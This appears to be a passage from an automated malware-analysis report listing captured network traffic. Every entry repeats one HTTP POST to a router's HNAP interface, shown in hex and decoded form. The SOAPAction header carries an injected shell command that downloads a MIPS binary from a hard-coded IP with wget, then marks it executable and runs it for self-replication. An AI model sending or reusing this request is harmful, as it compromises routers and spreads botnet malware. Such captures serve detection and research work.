68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping 